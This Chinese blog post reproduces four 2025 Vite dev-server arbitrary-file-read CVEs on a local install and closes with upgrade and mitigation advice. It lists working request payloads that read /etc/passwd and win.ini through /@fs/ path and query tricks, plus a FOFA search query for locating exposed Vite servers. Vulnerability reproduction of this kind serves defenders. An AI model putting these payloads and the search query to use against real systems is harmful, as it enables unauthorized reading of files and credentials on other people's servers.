当前位置:首页 > 技术文章 > 正文内容

Vite任意文件读取漏洞复现,简单的令人发指,只需浏览器一行代码

zonemu1个月前 (07-26)技术文章13

Vite 是一个现代化的前端构建工具,由 Vue.js 的作者尤雨溪开发,支持 Vue、React、Svelte、Lit 等框架。但这个 Vite在2025年连续出了4个CVE编号的漏洞,分别是CVE-2025-30208、CVE-2025-31125、CVE-2025-31486、CVE-2025-32395。这个漏洞利用方式非常简单,傻瓜化,小白也能感觉到黑客的快乐了。


这4个CVE的漏洞利用方法都是高度类似,我以最新的CVE-2025-32395为例,本地复现一下。这个Vite6.2.6以前都有漏洞,所以我们本地装一下,前提你电脑里要装好nodejs。

npm install vite@6.2.5
npm pkg set scripts.dev="vite"
npm run dev

最后就会让你打开浏览器,http://localhost:5173/。

如何利用呢?直接执行:http://localhost:5173/@fs/etc/passwd就可以。如果出现了403的话,也不要慌张。


直接更改为http://localhost:5173/@fs/etc/passwd?raw??,或是http://localhost:5173/@fs/etc/passwd?import&raw??就可以了。下图是获得了/etc/passwd的文件内容,当然根据系统不同,也可以获取相应文件内容。

至于以前的三个漏洞编号利用方式是什么样的呢?官方给出以下poc:

  • CVE-2025-30208:http://localhost:5173/iife/@fs/C:/windows/win.ini?import&raw??
  • CVE-2025-31125:http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
  • CVE-2025-31486:http://localhost:5173/iife/C:/windows/win.ini?import&?.svg?.wasm?init

奇安信鹰图资产测绘平台数据显示,Vite 任意文件读取漏洞(CVE-2025-32395)关联的国内风险资产总数为47506个,关联IP总数为10961个,使用人数还是很多的。

fofa的语句:header="vite" || body="/@vite/client" || body="__vite_ping"
 && (port="3000" || port="5173" || port="8080" || port="4173")

目前官方已有可更新版本,建议受影响用户升级至最新版本,官方补丁下载地址:

https://github.com/vitejs/vite/releases

修复缓解措施:

通过限制开发服务器的访问权限,如关闭 server.host 或将其绑定到特定的 IP 地址,以减少攻击面。

相关文章

Vue基础(vue基础组件文件名符合规范的是)

Vue 是什么,它的核心特点有哪些?Vue 是一款渐进式 JavaScript 框架,它基于标准 HTML、CSS 和 JavaScript 构建,并提供了一套声明式的、组件化的编程模型,帮助开发者用...

Vue3快速入门(vue3快速上手)

  1.核心语法  1. 1选项式和组合式的区别  Vue2的API设计是Options(选项)风格的。  Vue3的API设计是Composition(组合)风格的。  Options类型的 API...

前端React面试基础系列(React基础篇)

本文阅读8分钟,喜欢的小伙伴可以持续关系小编哦1. 什么是受控组件和非受控组件?受控组件像表单元素在用户输入时,像<input> <select>等元素需要绑定一个 chang...

使用GitLab实现CICD(gitlab配置cicd)

GitLab CI/CD 是一个内置在GitLab中的工具,用于通过持续方法进行软件开发:Continuous Integration (CI) 持续集成Continuous Delivery (C...

VIM配置整理(vim配置教程)

一、基本配色set number set showcmd set incsearch set expandtab set showcmd set history=400 set autoread se...

如何使用HTML5实现多个元素的拖放功能

通过使用HTML5的拖放功能我们可以拖放HTML页面元素。在上一篇文章中,我们介绍了有关于可以拖放单个元素的代码。在接下来的这篇文章中,我们将来介绍关于允许拖放多个元素的代码。话不多说,我们直接看示例...